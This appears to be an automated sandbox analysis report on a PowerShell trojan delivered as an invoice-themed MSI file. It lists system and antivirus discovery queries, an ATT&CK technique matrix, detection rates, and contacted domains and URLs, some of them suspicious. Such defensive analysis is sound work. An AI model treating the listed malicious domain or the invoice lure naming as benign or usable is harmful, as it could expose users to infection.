Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	31 Windows Management Instrumentation	1 Browser Extensions	11 Process Injection	121 Masquerading	OS Credential Dumping	41 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	51 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	51 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	11 Peripheral Device Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	34 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Fatura931Pendente956.pdf761.msi	16%	ReversingLabs	Script-PowerShell.Trojan.Boxter
Fatura931Pendente956.pdf761.msi	18%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner
C:\Windows\Installer\MSI1543.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI29F2.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI37FD.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI4934.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI63A3.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6642.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI697.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6F6.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI716.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI7F3.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI88DF.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIA495.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIB9E2.tmp	0%	ReversingLabs
C:\Windows\Installer\MSID51C.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label
https://qvn-63946.1mp3.rg	0%	Avira URL Cloud	safe
https://drive.googl.comAcw-Credens:	0%	Avira URL Cloud	safe
https://drive.google.comAccess-Control-Allow-Methods:	0%	Avira URL Cloud	safe
https://anglebug.com/7369m	0%	Avira URL Cloud	safe
https://me.google.com/webstoLDDiscoverat	0%	Avira URL Cloud	safe
http://anglebug.com/6860te	0%	Avira URL Cloud	safe
https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.html0	0%	Avira URL Cloud	safe
https://drive.googl	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
blobcomments-pa.clients6.google.com	172.217.19.234	true	false	high
play.google.com	172.217.19.238	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
www.google.com	142.250.181.100	true	false	high
drive.google.com	172.217.19.174	true	false	high
upload.wikimedia.org	185.15.58.240	true	false	high
peoplestackwebexperiments-pa.clients6.google.com	172.217.19.170	true	false	high
yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org	192.124.216.109	true	false	unknown
i.ibb.co	91.134.82.79	true	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://apis.google.com/js/googleapis.proxy.js?onload=startup	false	high
https://drive.google.com/drivesharing/clientmodel?id=1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh&foreignService=texmex&authuser=0&origin=https%3A%2F%2Fdrive.google.com	false	high
https://drive.google.com/file/d/1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh/view	false	high
https://i.ibb.co/41J4DHL/logo.png	false	high
https://upload.wikimedia.org/wikipedia/commons/3/3f/Windows-loading-cargando.gif	false	high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.x7CxCIZpks8.O/m=googleapis_proxy/rt=j/sv=1/d=1/ed=1/am=AAAg/rs=AHpOoo8czmnaLIncRgBQP7N2THncpDJ9mQ/cb=gapi.loaded_0?le=scs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://apis.google.com/js/client.js	chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dl.google.com/release2/chrome_component/acbk3qzfwhzj3ij3hxeo5shqbiyq_3051/jflookgnkcckhobagl	chrome.exe, 00000009.00000002.4159249179.000001680286C000.00000004.00000800.00020000.00000000.sdmp	false		high
